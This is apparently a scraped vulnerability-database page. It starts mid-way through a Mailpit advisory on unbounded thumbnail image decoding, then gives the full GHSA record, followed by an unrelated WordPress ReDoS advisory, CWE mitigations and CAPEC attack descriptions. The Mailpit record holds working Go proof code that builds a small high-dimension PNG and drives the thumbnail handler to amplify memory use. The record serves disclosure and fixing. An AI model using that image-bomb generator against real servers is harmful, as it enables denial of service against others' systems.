On current develop commit cd7661fd5b23cce1e218b583b21e157cfa612051, the relevant output is:
=== RUN TestThumbnailDecodeDimensionAmplificationPoV
=== RUN TestThumbnailDecodeDimensionAmplificationPoV/negative-control
thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x
=== RUN TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment
thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x
--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.22s)
=== RUN TestThumbnailHandlerDimensionAmplificationPoV
=== RUN TestThumbnailHandlerDimensionAmplificationPoV/negative-control
thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977
=== RUN TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment
thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977
--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.55s)
PASS
ok github.com/axllent/mailpit/server/apiv1 0.781s
The same test against v1.30.3 commit 6acf5b8f942ab0e007b1227d31dfb3c3303e8d13 prints the same amplification:
=== RUN TestThumbnailDecodeDimensionAmplificationPoV
=== RUN TestThumbnailDecodeDimensionAmplificationPoV/negative-control
thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x
=== RUN TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment
thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x
--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.23s)
=== RUN TestThumbnailHandlerDimensionAmplificationPoV
=== RUN TestThumbnailHandlerDimensionAmplificationPoV/negative-control
thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977
=== RUN TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment
thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977
--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.56s)
PASS
ok github.com/axllent/mailpit/server/apiv1 0.805s
The negative-control case shows ordinary thumbnail generation still works. The oversized-attachment handler case shows the real endpoint path storing a compact image attachment and returning a thumbnail only after decoding a much larger raster.
Impact
An unauthenticated remote client can affect availability when Mailpit is deployed with the default unauthenticated HTTP API and SMTP/Send API reachable on the network. The client can store a compact high-dimension image attachment, discover the message and attachment IDs through the API, and repeatedly request the thumbnail endpoint to force decoded image allocation and scaling work. Opening the affected message in the Mailpit UI can also trigger the thumbnail request for image attachments.
The safe PoV uses 4096x4096 dimensions and already reaches about 64 MiB of decoded RGBA data from a 65 KB PNG. Larger dimensions remain within the default encoded message-size envelope and can raise the decoded memory pressure further. The practical result is memory/CPU pressure and possible process instability or denial of service, especially with concurrent thumbnail requests.
Suggested Fix
Reject oversized thumbnails before full image decode. Decode only the image configuration/header first where possible, compute a conservative decoded-pixel or decoded-byte estimate, and reject dimensions above the thumbnail budget before calling imaging.Decode() or applying EXIF auto-orientation. For example, a thumbnail endpoint that only emits 180x120 output could reject images above a fixed pixel cap such as a few megapixels, or make the cap configurable.
Apply the cap to all supported image formats and to both inline and regular attachments returned by GetAttachmentPart(). Preserve the existing blank-thumbnail fallback for rejected or unsupported inputs, or return a clear 400 response for images rejected because their decoded size exceeds the configured limit. Add regression tests for a normal small image, a high-dimension compressed image, and a malformed image/* attachment.
Affected Package/Versions
Confirmed affected:
- Current
develop:cd7661fd5b23cce1e218b583b21e157cfa612051 - Latest release:
v1.30.3, tag commit6acf5b8f942ab0e007b1227d31dfb3c3303e8d13, published 2026-06-27
Advisory History
The closest published Mailpit advisories are the resource-consumption reports GHSA-fpxj-m5q8-fphw and GHSA-28pq-6qxg-wg5r. GHSA-fpxj-m5q8-fphw covers unlimited SMTP DATA and /api/v1/send body sizes, while GHSA-28pq-6qxg-wg5r covers unbounded JSON bodies on sibling API endpoints. This report is different: the request body can be small or absent at thumbnail time, and the expensive work is decoded image allocation from a stored attachment before 180x120 thumbnail scaling.
Other published Mailpit advisories checked were GHSA-w4vj-r5pg-3722 for proxy CSS map concurrency, GHSA-qx5x-85p8-vg4j for dump path traversal, GHSA-54wq-72mp-cq7c for SMTP header injection, GHSA-524m-q5m7-79mm for CSWSH, and the SSRF/proxy/link-check/html-check family GHSA-8v65-47jx-7mfr, GHSA-mpf7-p9x7-96r3, GHSA-6jxm-fv7w-rw5j, GHSA-j3fj-qppj-fmmc, and GHSA-w4mc-hhc6-xp28. None describe decoded thumbnail image dimensions or pixel-budget enforcement.
Public issue searches in axllent/mailpit for thumbnail/image memory, imaging Decode thumbnail, and image attachment thumbnail DoS terms found no matching issue. A commit search found b9f36312d750bdc59497a08fd9f4039925afd54e, "Fix: Avoid error on image type assertion in thumbnail generation"; that commit fixes a non-NRGBA type assertion/panic case and does not add a decoded-pixel or dimension guard. No prior submitted, ready-for-review, or completed-but-unsubmitted Mailpit report available in the review materials matched this root cause.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/axllent/mailpit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67446"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T23:39:08Z",
"nvd_published_at": "2026-08-20T21:17:07Z",
"severity": "HIGH"
},
"details": "## Summary\n\nMailpit\u0027s thumbnail endpoint decodes attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request `/api/v1/message/{id}/part/{partID}/thumb` to force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail.\n\n## Technical Details\n\nThe route is registered as `GET /api/v1/message/{id}/part/{partID}/thumb` in `server/server.go`. The handler in `server/apiv1/thumbnails.go` loads the requested attachment and accepts any part whose content type begins with `image/`:\n\n```go\na, err := storage.GetAttachmentPart(id, partID)\n// ...\nif !strings.HasPrefix(a.ContentType, \"image/\") {\n blankImage(a, w)\n return\n}\n\nbuf := bytes.NewBuffer(a.Content)\nimg, err := imaging.Decode(buf, imaging.AutoOrientation(true))\n```\n\n`storage.GetAttachmentPart()` reparses the stored raw email and returns the matching attacker-supplied attachment bytes. `Thumbnail()` then calls `imaging.Decode()` before any check on declared dimensions or estimated decoded bytes. The subsequent `imaging.Fill(img, 180, 120, ...)`, `imaging.Clone()`, and JPEG encode only happen after the full image has already been decoded.\n\nThe thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage.\n\nThe UI also naturally reaches this endpoint for image attachments. `server/ui-src/components/message/MessageAttachments.vue` uses `/api/v1/message/{message.ID}/part/{part.PartID}/thumb` as the `\u003cimg src\u003e` for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly.\n\n## PoV\n\nThe following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual `PartID`, and call `Thumbnail()`.\n\nThe oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG.\n\n```go\npackage apiv1\n\nimport (\n \"bytes\"\n \"compress/zlib\"\n \"encoding/base64\"\n \"encoding/binary\"\n \"fmt\"\n \"hash/crc32\"\n \"net/http\"\n \"net/http/httptest\"\n \"path/filepath\"\n \"strings\"\n \"testing\"\n\n \"github.com/axllent/mailpit/config\"\n \"github.com/axllent/mailpit/internal/logger\"\n \"github.com/axllent/mailpit/internal/storage\"\n \"github.com/kovidgoyal/imaging\"\n)\n\nfunc pngChunk(kind string, data []byte) []byte {\n var out bytes.Buffer\n _ = binary.Write(\u0026out, binary.BigEndian, uint32(len(data)))\n out.WriteString(kind)\n out.Write(data)\n crc := crc32.NewIEEE()\n crc.Write([]byte(kind))\n crc.Write(data)\n _ = binary.Write(\u0026out, binary.BigEndian, crc.Sum32())\n return out.Bytes()\n}\n\nfunc solidRGBApng(width, height int) []byte {\n var out bytes.Buffer\n out.Write([]byte{0x89, \u0027P\u0027, \u0027N\u0027, \u0027G\u0027, \u0027\\r\u0027, \u0027\\n\u0027, 0x1a, \u0027\\n\u0027})\n ihdr := make([]byte, 13)\n binary.BigEndian.PutUint32(ihdr[0:4], uint32(width))\n binary.BigEndian.PutUint32(ihdr[4:8], uint32(height))\n ihdr[8] = 8\n ihdr[9] = 6\n out.Write(pngChunk(\"IHDR\", ihdr))\n var compressed bytes.Buffer\n zw := zlib.NewWriter(\u0026compressed)\n row := make([]byte, 1+width*4)\n for i := 0; i \u003c height; i++ {\n _, _ = zw.Write(row)\n }\n _ = zw.Close()\n out.Write(pngChunk(\"IDAT\", compressed.Bytes()))\n out.Write(pngChunk(\"IEND\", nil))\n return out.Bytes()\n}\n\nfunc TestThumbnailDecodeDimensionAmplificationPoV(t *testing.T) {\n for _, tc := range []struct {\n name string\n width int\n height int\n }{\n {name: \"negative-control\", width: 16, height: 16},\n {name: \"oversized-attachment\", width: 4096, height: 4096},\n } {\n t.Run(tc.name, func(t *testing.T) {\n payload := solidRGBApng(tc.width, tc.height)\n img, err := imaging.Decode(bytes.NewReader(payload), imaging.AutoOrientation(true))\n if err != nil {\n t.Fatalf(\"decode failed: %v\", err)\n }\n thumb := imaging.Fill(img, thumbWidth, thumbHeight, imaging.Center, imaging.Lanczos)\n if thumb.Bounds().Dx() != thumbWidth || thumb.Bounds().Dy() != thumbHeight {\n t.Fatalf(\"unexpected thumbnail bounds: %v\", thumb.Bounds())\n }\n decodedRGBA := tc.width * tc.height * 4\n t.Logf(\"%s: encoded_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx\", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)))\n })\n }\n}\n\nfunc TestThumbnailHandlerDimensionAmplificationPoV(t *testing.T) {\n logger.NoLogging = true\n config.Database = filepath.Join(t.TempDir(), \"mailpit.db\")\n config.Compression = 0\n config.TenantID = \"\"\n config.MaxMessages = 0\n if err := storage.InitDB(); err != nil {\n t.Fatalf(\"InitDB failed: %v\", err)\n }\n defer storage.Close()\n\n for _, tc := range []struct {\n name string\n width int\n height int\n }{\n {name: \"negative-control\", width: 16, height: 16},\n {name: \"oversized-attachment\", width: 4096, height: 4096},\n } {\n t.Run(tc.name, func(t *testing.T) {\n payload := solidRGBApng(tc.width, tc.height)\n raw := []byte(fmt.Sprintf(\"From: sender@example.test\\r\\nTo: victim@example.test\\r\\nSubject: %s\\r\\nMIME-Version: 1.0\\r\\nContent-Type: multipart/mixed; boundary=\\\"pov-boundary\\\"\\r\\n\\r\\n--pov-boundary\\r\\nContent-Type: text/plain\\r\\n\\r\\nbody\\r\\n--pov-boundary\\r\\nContent-Type: image/png; name=\\\"pov.png\\\"\\r\\nContent-Disposition: attachment; filename=\\\"pov.png\\\"\\r\\nContent-Transfer-Encoding: base64\\r\\n\\r\\n%s\\r\\n--pov-boundary--\\r\\n\", tc.name, wrapBase64(payload)))\n id, err := storage.Store(\u0026raw, nil)\n if err != nil {\n t.Fatalf(\"Store failed: %v\", err)\n }\n msg, err := storage.GetMessage(id)\n if err != nil {\n t.Fatalf(\"GetMessage failed: %v\", err)\n }\n if len(msg.Attachments) != 1 {\n t.Fatalf(\"attachments=%d, want 1\", len(msg.Attachments))\n }\n req := httptest.NewRequest(http.MethodGet, \"/api/v1/message/\"+id+\"/part/\"+msg.Attachments[0].PartID+\"/thumb\", nil)\n req.SetPathValue(\"id\", id)\n req.SetPathValue(\"partID\", msg.Attachments[0].PartID)\n rr := httptest.NewRecorder()\n Thumbnail(rr, req)\n if rr.Code != http.StatusOK {\n t.Fatalf(\"Thumbnail status=%d body=%q\", rr.Code, rr.Body.String())\n }\n if ct := rr.Header().Get(\"Content-Type\"); ct != \"image/jpeg\" {\n t.Fatalf(\"Content-Type=%q, want image/jpeg\", ct)\n }\n decodedRGBA := tc.width * tc.height * 4\n t.Logf(\"%s handler path: stored_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx thumbnail_jpeg_bytes=%d\", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)), rr.Body.Len())\n })\n }\n}\n\nfunc wrapBase64(b []byte) string {\n encoded := base64.StdEncoding.EncodeToString(b)\n var lines []string\n for len(encoded) \u003e 76 {\n lines = append(lines, encoded[:76])\n encoded = encoded[76:]\n }\n if encoded != \"\" {\n lines = append(lines, encoded)\n }\n return strings.Join(lines, \"\\r\\n\")\n}\n```\n\n## PoC\n\nFrom a Mailpit checkout, save the test above as `server/apiv1/thumbnail_dimension_pov_test.go` and run:\n\n```fish\ndocker run --rm -v \"$PWD:/src\" -w /src golang:1.25 go test ./server/apiv1 -run \u0027TestThumbnail.*DimensionAmplificationPoV\u0027 -v\n```\n\nOn current `develop` commit `cd7661fd5b23cce1e218b583b21e157cfa612051`, the relevant output is:\n\n```text\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV/negative-control\n thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment\n thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x\n--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.22s)\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV/negative-control\n thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment\n thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977\n--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.55s)\nPASS\nok \tgithub.com/axllent/mailpit/server/apiv1\t0.781s\n```\n\nThe same test against `v1.30.3` commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13` prints the same amplification:\n\n```text\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV/negative-control\n thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x\n=== RUN TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment\n thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x\n--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.23s)\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV/negative-control\n thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977\n=== RUN TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment\n thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977\n--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.56s)\nPASS\nok \tgithub.com/axllent/mailpit/server/apiv1\t0.805s\n```\n\nThe `negative-control` case shows ordinary thumbnail generation still works. The `oversized-attachment` handler case shows the real endpoint path storing a compact image attachment and returning a thumbnail only after decoding a much larger raster.\n\n## Impact\n\nAn unauthenticated remote client can affect availability when Mailpit is deployed with the default unauthenticated HTTP API and SMTP/Send API reachable on the network. The client can store a compact high-dimension image attachment, discover the message and attachment IDs through the API, and repeatedly request the thumbnail endpoint to force decoded image allocation and scaling work. Opening the affected message in the Mailpit UI can also trigger the thumbnail request for image attachments.\n\nThe safe PoV uses 4096x4096 dimensions and already reaches about 64 MiB of decoded RGBA data from a 65 KB PNG. Larger dimensions remain within the default encoded message-size envelope and can raise the decoded memory pressure further. The practical result is memory/CPU pressure and possible process instability or denial of service, especially with concurrent thumbnail requests.\n\n## Suggested Fix\n\nReject oversized thumbnails before full image decode. Decode only the image configuration/header first where possible, compute a conservative decoded-pixel or decoded-byte estimate, and reject dimensions above the thumbnail budget before calling `imaging.Decode()` or applying EXIF auto-orientation. For example, a thumbnail endpoint that only emits 180x120 output could reject images above a fixed pixel cap such as a few megapixels, or make the cap configurable.\n\nApply the cap to all supported image formats and to both inline and regular attachments returned by `GetAttachmentPart()`. Preserve the existing blank-thumbnail fallback for rejected or unsupported inputs, or return a clear 400 response for images rejected because their decoded size exceeds the configured limit. Add regression tests for a normal small image, a high-dimension compressed image, and a malformed `image/*` attachment.\n\n## Affected Package/Versions\n\nConfirmed affected:\n\n- Current `develop`: `cd7661fd5b23cce1e218b583b21e157cfa612051`\n- Latest release: `v1.30.3`, tag commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13`, published 2026-06-27\n\n## Advisory History\n\nThe closest published Mailpit advisories are the resource-consumption reports `GHSA-fpxj-m5q8-fphw` and `GHSA-28pq-6qxg-wg5r`. `GHSA-fpxj-m5q8-fphw` covers unlimited SMTP DATA and `/api/v1/send` body sizes, while `GHSA-28pq-6qxg-wg5r` covers unbounded JSON bodies on sibling API endpoints. This report is different: the request body can be small or absent at thumbnail time, and the expensive work is decoded image allocation from a stored attachment before 180x120 thumbnail scaling.\n\nOther published Mailpit advisories checked were `GHSA-w4vj-r5pg-3722` for proxy CSS map concurrency, `GHSA-qx5x-85p8-vg4j` for dump path traversal, `GHSA-54wq-72mp-cq7c` for SMTP header injection, `GHSA-524m-q5m7-79mm` for CSWSH, and the SSRF/proxy/link-check/html-check family `GHSA-8v65-47jx-7mfr`, `GHSA-mpf7-p9x7-96r3`, `GHSA-6jxm-fv7w-rw5j`, `GHSA-j3fj-qppj-fmmc`, and `GHSA-w4mc-hhc6-xp28`. None describe decoded thumbnail image dimensions or pixel-budget enforcement.\n\nPublic issue searches in `axllent/mailpit` for thumbnail/image memory, `imaging Decode thumbnail`, and image attachment thumbnail DoS terms found no matching issue. A commit search found `b9f36312d750bdc59497a08fd9f4039925afd54e`, \"Fix: Avoid error on image type assertion in thumbnail generation\"; that commit fixes a non-NRGBA type assertion/panic case and does not add a decoded-pixel or dimension guard. No prior submitted, ready-for-review, or completed-but-unsubmitted Mailpit report available in the review materials matched this root cause.",
"id": "GHSA-75mr-qw9x-3r39",
"modified": "2026-09-02T23:39:08Z",
"published": "2026-09-02T23:39:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-75mr-qw9x-3r39"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67446"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/commit/6bcb6337838b542d53c348e38c7977f569b6db35"
},
{
"type": "PACKAGE",
"url": "https://github.com/axllent/mailpit"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/releases/tag/v1.30.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling"
}
GHSA-75PP-9V48-FF5J
Vulnerability from github – Published: 2024-12-13 06:30 – Updated: 2024-12-13 06:30The Minify HTML plugin for WordPress is vulnerable to Regular Expression Denial of Service (ReDoS) in all versions up to, and including, 2.1.10. This is due to processing user-supplied input as a regular expression. This makes it possible for unauthenticated attackers to create comments that can cause catastrophic backtracking and break pages.
{
"affected": [],
"aliases": [
"CVE-2024-12579"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-13T05:15:07Z",
"severity": "MODERATE"
},
"details": "The Minify HTML plugin for WordPress is vulnerable to Regular Expression Denial of Service (ReDoS) in all versions up to, and including, 2.1.10. This is due to processing user-supplied input as a regular expression. This makes it possible for unauthenticated attackers to create comments that can cause catastrophic backtracking and break pages.",
"id": "GHSA-75pp-9v48-ff5j",
"modified": "2024-12-13T06:30:58Z",
"published": "2024-12-13T06:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12579"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3203890/minify-html-markup"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/80334e81-c33d-464c-9409-f49c34681890?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.